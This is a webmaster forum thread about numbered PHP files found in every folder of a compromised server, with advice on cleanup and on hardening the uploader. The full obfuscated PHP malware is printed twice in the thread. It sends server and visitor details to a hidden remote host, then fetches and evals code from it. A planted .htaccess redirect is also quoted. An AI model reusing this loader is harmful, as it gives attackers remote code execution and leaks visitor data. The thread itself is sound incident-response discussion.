numbered php files

[woody]

i've just found files on my server like 17427.php, they're in every folder and sub folder, its a base64 encoded script either a spam script or a hack script i'm not sure which, is there a quick way to delete them all as like i say its in every folder including the phpthumb cache folders which there are loads of. as far as i'm aware i'd protected from having php files uploaded, how can these files be uploaded without my knowledge

[opticalpigion]

possible reason is someone might uploaded shell and spread it to your site.

[woody]

i'm lookin for the shell now but is there a quick way do to a mass delete of them as every file has a different name

[opticalpigion]

i'm lookin for the shell now but is there a quick way do to a mass delete of them as every file has a different name

talk to your server provider to scan your site a good antivirus can detect shell

else you have to check each and every file/folder.

[subzero]

Back up then replace the files with real ones take out the number files out then

Also if you got a uploader stop the upload and block upload files so no one can download exec them by .htaccess put rig_donkey 1 in there it will give you 500 status then

look for the file 2419240 or filename.php.jpg or filename.php.ext

then delete that and fix your uploader.

[woody]

its every site and every sub folder lol aaaaarrrrrrggggghhh see you in about three weeks lol cheers sub n dragon

[opticalpigion]

its every site and every sub folder lol aaaaarrrrrrggggghhh see you in about three weeks lol cheers sub n dragon

delete everything and restore it from your backup, database and all files.

[GumSlone]

Back up then replace the files with real ones take out the number files out then

Also if you got a uploader stop the upload and block upload files so no one can download exec them by .htaccess put rig_donkey 1 in there it will give you 500 status then

look for the file 2419240 or filename.php.jpg or filename.php.ext

then delete that and fix your uploader.

can you execute php file with jpg extension, would it work?

Added after 5 minutes:

i've just found files on my server like 17427.php, they're in every folder and sub folder, its a base64 encoded script either a spam script or a hack script i'm not sure which, is there a quick way to delete them all as like i say its in every folder including the phpthumb cache folders which there are loads of. as far as i'm aware i'd protected from having php files uploaded, how can these files be uploaded without my knowledge

on cpanel servers there is often clamav antivirus installed, so you could scan your webroot from your cpanel account.

[woody]

no gum my uploaders and galleries have shell protection so i dunno how they've manged to upload these files. this is the content of the files can someone tell me what it does please

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="ea08b7f9b4c7b0147fb71c0c4ab7f56d") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

[GumSlone]

no gum my uploaders and galleries have shell protection so i dunno how they've manged to upload these files. this is the content of the files can someone tell me what it does please

<? error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:$HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"])?$_SERVER["SERVER_NAME"]:$SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"])?$_SERVER["REQUEST_URI"]:$REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"])?$_SERVER["PHP_SELF"]:$PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"])?$_SERVER["QUERY_STRING"]:$QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"])?$_SERVER["HTTP_REFERER"]:$HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"])?$_SERVER["HTTP_USER_AGENT"]:$HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"])?$_SERVER["REMOTE_ADDR"]:$REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"])?$_SERVER["SCRIPT_FILENAME"]:$SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])?$_SERVER["HTTP_ACCEPT_LANGUAGE"]:$HTTP_ACCEPT_LANGUAGE);$z="/?".base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".e.".base64_encode($i).".".base64_encode($j);$f=base64_decode("cnNzbmV3cy53cw==");if (basename($c)==basename($i)&&isset($_REQUEST["q"])&&md5($_REQUEST["q"])=="ea08b7f9b4c7b0147fb71c0c4ab7f56d") $f=$_REQUEST["id"];if((include(base64_decode("aHR0cDovL2Fkcy4=").$f.$z)));else if($c=file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))eval($c);else{$cu=curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);curl_setopt($cu,CURLOPT_RETURNTRANSFER,1);$o=curl_exec($cu);curl_close($cu);eval($o);};die(); ?>

looks like its not a shell, its a curl script which grebs a shell content from external site and then it executes it.

[woody]

looks like its not a shell, its a curl script which grebs a shell content from external site and then it executes it.

but how have they manged to upload php files to every folder on my server and if they could do that why not just upload the shell even the /htaccess files have been altered to include

Options -MultiViews
ErrorDocument 404 /hellsgate.me.uk/190915.php

Added after 10 minutes:

is there anyway to block files with names such as 12345.php being executed in .htaccess, so it would only allow alphanumeric filenames as opposed to just numeric

[subzero]

No , fix your uploader to not allow .php or have the word php in there